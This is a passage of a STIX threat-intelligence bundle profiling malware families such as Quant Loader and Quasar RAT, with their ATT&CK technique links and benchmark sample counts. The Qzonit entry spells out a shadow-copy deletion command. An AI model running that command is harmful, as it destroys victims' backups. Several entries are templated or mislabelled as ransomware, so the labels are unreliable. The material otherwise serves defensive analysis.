      "id": "malware--c69d51a6-2e35-5c54-bbc1-76accf5e7908",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Quant",
      "description": "TrojanDownloader:Win32/Quant (commonly known as **Quant Loader**) is a highly successful, commercially available malware downloader. Heavily advertised and sold on Russian-speaking underground hacking forums (like Exploit.in), Quant Loader acts as an Initial Access Broker (IAB) tool. Threat actors purchase Quant Loader to reliably bypass endpoint security and silently deliver their chosen secondary payloads (such as Locky ransomware, Pony stealers, or Formbook) to infected machines.<br><br><b>Understanding Quant Loader</b><br>To an end-user, a Quant Loader infection is completely invisible; it operates silently in the background. For a threat intelligence analyst, Quant Loader is a significant threat because of its commercial 'Malware-as-a-Service' (MaaS) nature. The developer constantly updates the loader with new anti-analysis and evasion techniques to ensure buyers get a high infection rate. The buyers use a provided web panel to configure which secondary payloads Quant should download based on the victim's geolocation and OS version.<br><br><b>Execution and Evasion Strategies</b><br>Buyers typically distribute Quant Loader via massive malspam campaigns (using weaponized Word macros) or through exploit kits like RIG (`T1189`). Upon execution, Quant employs complex anti-sandboxing checks (`T1497.001`)\u2014delaying execution, checking for mouse movement, and verifying it isn't running in a known analyst VM (VirtualBox/VMWare). It copies itself to the `%AppData%` directory and establishes persistence via Registry Run keys (`T1547.001`). Quant Loader then reaches out to its C2 panel (often hosted on compromised sites) to fetch the secondary payload (`T1105`). It frequently uses process hollowing or API unhooking to inject and execute this secondary payload without alerting EDR solutions (`T1055`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on what the buyer configured Quant to download (ranging from data theft to enterprise ransomware). Incident responders should investigate EDR alerts for suspicious child processes spawning from Office applications. Network telemetry will show initial HTTP check-ins to the Quant panel, followed by the downloading of secondary executable files. The presence of randomly named binaries in `%AppData%` with associated Run keys is a strong IoC. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Quant",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/quant"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa8ba86d-d2f6-5f99-9e0e-f473d46a8748",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c69d51a6-2e35-5c54-bbc1-76accf5e7908",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quant exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b43fb0a8-a1d2-5396-b9c6-791ecc1b51b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c69d51a6-2e35-5c54-bbc1-76accf5e7908",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quant exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73e69e84-2e4d-5ddf-8bd2-a6e5846faa82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c69d51a6-2e35-5c54-bbc1-76accf5e7908",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quant exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b282de72-b719-596f-b50d-bbe41ad2254d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c69d51a6-2e35-5c54-bbc1-76accf5e7908",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quant exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13d34f36-95da-5d4f-9e6b-ba00081328fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c69d51a6-2e35-5c54-bbc1-76accf5e7908",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quant exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--68866b76-8293-5b88-b0d6-da1c591e2feb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Quasar",
      "description": "Quasar (broadly tracked as Quasar RAT, QuasarRAT, Backdoor:MSIL/Quasar, and Trojan.MSIL.Quasar) is a high-performance open-source remote access trojan (RAT) developed in C# (.NET) and publicly hosted on GitHub under an MIT license. Originally intended by its creator as a lightweight remote management and systems administration tool, Quasar was swiftly co-opted, modified, and weaponized by commercial cybercriminals and sophisticated nation-state advanced persistent threat (APT) groups. Notable state-sponsored threat actors utilizing custom variants of Quasar include APT10 (Stone Panda, MenuPass), APT33 (Elfin), the Syrian Electronic Army, and the Lazarus Group. Quasar operates over TCP/IP socket connections utilizing TLS-encrypted command-and-control streams, providing operators with a robust suite of remote management and surveillance features. Its capabilities include full reverse desktop remote control (Reverse RDP), SOCKS5 reverse proxy tunneling, real-time keystroke logging via SetWindowsHookEx, webcam and microphone capture, audio recording, interactive remote command shell execution (cmd.exe and PowerShell), process injection and termination, file upload and download, and registry manipulation. Cyber threat actors frequently deploy Quasar using weaponized phishing attachments delivering malicious Word documents exploiting equation editor vulnerabilities (CVE-2017-11882) or archived LNK shortcuts. Once executed, the initial stager utilizes process hollowing (T1055.012) to inject the compiled .NET assembly directly into legitimate Windows processes such as InstallUtil.exe, RegSvcs.exe, or MSBuild.exe to evade traditional signature-based antivirus solutions. In October 2018, CISA released Advisory AA18-337A warning organizations that nation-state cyber actors were routinely weaponizing open-source tools like Quasar RAT against critical infrastructure. (Observed samples in benchmark: 148)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "QuasarRAT",
        "Backdoor:MSIL/Quasar",
        "Trojan.MSIL.Quasar",
        "Win32/Quasar.RAT",
        "Quasar Client",
        "Quasar Remote Administration Tool"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Quasar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/quasar"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA18-337A"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dd68aa8c-bcdb-5e4b-837b-43b2d22f6096",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Quasarrat",
      "description": "QuasarRAT (frequently tracked as Quasar, Quasar Remote Administration Tool, and Backdoor:MSIL/Quasar) is a powerful open-source remote access trojan coded in C# (.NET). While originally published on GitHub by developer 'MaxXor' as an administrative management utility, the software's lightweight architecture, robust TLS encryption, and modular design led to widespread weaponization across cybercrime groups and advanced persistent threat (APT) actors. The implant establishes reverse TCP connections to command-and-control infrastructure using TLS-secured sockets with optional certificate pinning to defeat SSL/TLS inspection proxies. Once connected, Quasar delivers an exhaustive suite of surveillance capabilities: real-time desktop screen streaming, audio capturing, keystroke logging, reverse socks5 proxy routing, file system traversal, remote shell access, and process management. It systematically extracts stored credentials from web browsers (Chrome, Edge, Firefox), FTP clients, and email clients. Multiple government advisories (including CISA Alert AA18-337A) highlight Quasar's deployment by nation-state actors including APT10 and APT33 for long-term target surveillance. (Observed samples in benchmark: 280)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Quasar RAT",
        "Quasar",
        "Backdoor.MSIL.Quasar",
        "Win32/Quasar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Quasarrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/quasarrat"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA18-337A"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b28c842-398f-5d0a-91e0-b0eb5c5a4610",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd68aa8c-bcdb-5e4b-837b-43b2d22f6096",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quasarrat exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3424486c-699b-5fda-a033-f0f5f4f68405",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd68aa8c-bcdb-5e4b-837b-43b2d22f6096",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quasarrat exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f76bbda2-67ff-5aa7-87a7-7ee7fb72130c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd68aa8c-bcdb-5e4b-837b-43b2d22f6096",
      "target_ref": "attack-pattern--25966596-f268-52dc-8ccd-eba715b5e824",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quasarrat exhibits technique T1573.002 (Asymmetric Cryptography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4397c680-70de-5bed-9950-467aae528f60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd68aa8c-bcdb-5e4b-837b-43b2d22f6096",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quasarrat exhibits technique T1021.001 (Remote Desktop Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7fa57d8-c23c-53a4-94e9-f79962a46605",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd68aa8c-bcdb-5e4b-837b-43b2d22f6096",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quasarrat exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e866e97-4745-5eb8-952b-d4a4a50b0a14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd68aa8c-bcdb-5e4b-837b-43b2d22f6096",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quasarrat exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d4f96ef-587e-5df3-b302-df11406b7565",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd68aa8c-bcdb-5e4b-837b-43b2d22f6096",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quasarrat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c67997bc-6ec8-53fe-acd8-c21a4b63aea3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd68aa8c-bcdb-5e4b-837b-43b2d22f6096",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quasarrat exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ae809d77-c473-5928-82ca-8792c481febe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Quchispy",
      "description": "Trojan:Win32/Quchispy is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Quchispy</b><br>To an end-user, a Quchispy infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Quchispy is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Quchispy is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Quchispy frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Quchispy reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Quchispy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/quchispy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06c4613b-8125-5d52-b00e-9c2d4a0c8df0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae809d77-c473-5928-82ca-8792c481febe",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quchispy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f4c0091-57ed-5022-8bdb-55fed144e173",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae809d77-c473-5928-82ca-8792c481febe",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quchispy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65f6365a-5cc9-5813-948d-75396c0f2b30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae809d77-c473-5928-82ca-8792c481febe",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quchispy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f89c760c-88ef-5627-9373-c8f7e2849868",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae809d77-c473-5928-82ca-8792c481febe",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quchispy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--813fd467-7cdd-5802-9d19-a63497d5be7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae809d77-c473-5928-82ca-8792c481febe",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quchispy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--811c982f-5eb9-5a99-b4cf-5bc8db1fb03d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Quervar",
      "description": "Trojan:Win32/Quervar is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Quervar</b><br>To an end-user, a Quervar infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Quervar is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Quervar is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Quervar frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Quervar reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Quervar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/quervar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3370964d-9dbc-5d43-b8a9-d399841f8737",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--811c982f-5eb9-5a99-b4cf-5bc8db1fb03d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quervar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6f52551-c11a-59e7-b289-98942cbf376b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--811c982f-5eb9-5a99-b4cf-5bc8db1fb03d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quervar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a277c90-679f-5321-8a9f-b42242a39ba7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--811c982f-5eb9-5a99-b4cf-5bc8db1fb03d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quervar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--daa38954-39eb-5c3a-89ba-df5b6c9c94e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--811c982f-5eb9-5a99-b4cf-5bc8db1fb03d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quervar exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9026b05b-4972-57ee-b827-115e1bd55f68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--811c982f-5eb9-5a99-b4cf-5bc8db1fb03d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quervar exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7f4ba685-5cbe-5053-ab10-fc21c952355d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Quireap",
      "description": "Trojan:Win32/Quireap is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Quireap</b><br>To an end-user, a Quireap infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Quireap is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Quireap is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Quireap frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Quireap reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Quireap",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/quireap"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--387ff144-6f94-5461-9205-bc507501185e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7f4ba685-5cbe-5053-ab10-fc21c952355d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quireap exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7f6be4f-cbb0-5c9f-9936-cb3ee5e0f178",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7f4ba685-5cbe-5053-ab10-fc21c952355d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quireap exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--409c0fa7-eb4e-5665-8eeb-f34c9b6fc212",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7f4ba685-5cbe-5053-ab10-fc21c952355d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quireap exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0caf7779-357a-5029-8f27-e757efbed4e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7f4ba685-5cbe-5053-ab10-fc21c952355d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quireap exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6179ce4-02c0-5a08-b27f-f6e816e140d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7f4ba685-5cbe-5053-ab10-fc21c952355d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Quireap exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f09653b7-bd54-59f5-9a6b-aab49c22a6e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qzonit",
      "description": "Qzonit (cataloged across global antimalware repositories under designations including Ransom:Win32/Qzonit, Trojan-Ransom.Win32.Qzonit, and Win32/Qzonit) is a targeted crypto-ransomware family designed to lock enterprise and consumer Windows workstations. Distributed via spearphishing emails carrying malicious archive attachments and trojanized freeware repacks, Qzonit initiates rapid file system discovery. It locates and encrypts business files including spreadsheets, databases, documents, and archives using AES-256 encryption with RSA key protection, appending the .qzonit extension to encrypted files. Qzonit executes vssadmin delete shadows /all /quiet to purge Volume Shadow Copies, modifies desktop wallpaper to display an extortion banner, and leaves text ransom notes directing victims to contact attackers via darknet email or Tor portals. (Observed samples in benchmark: 20)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
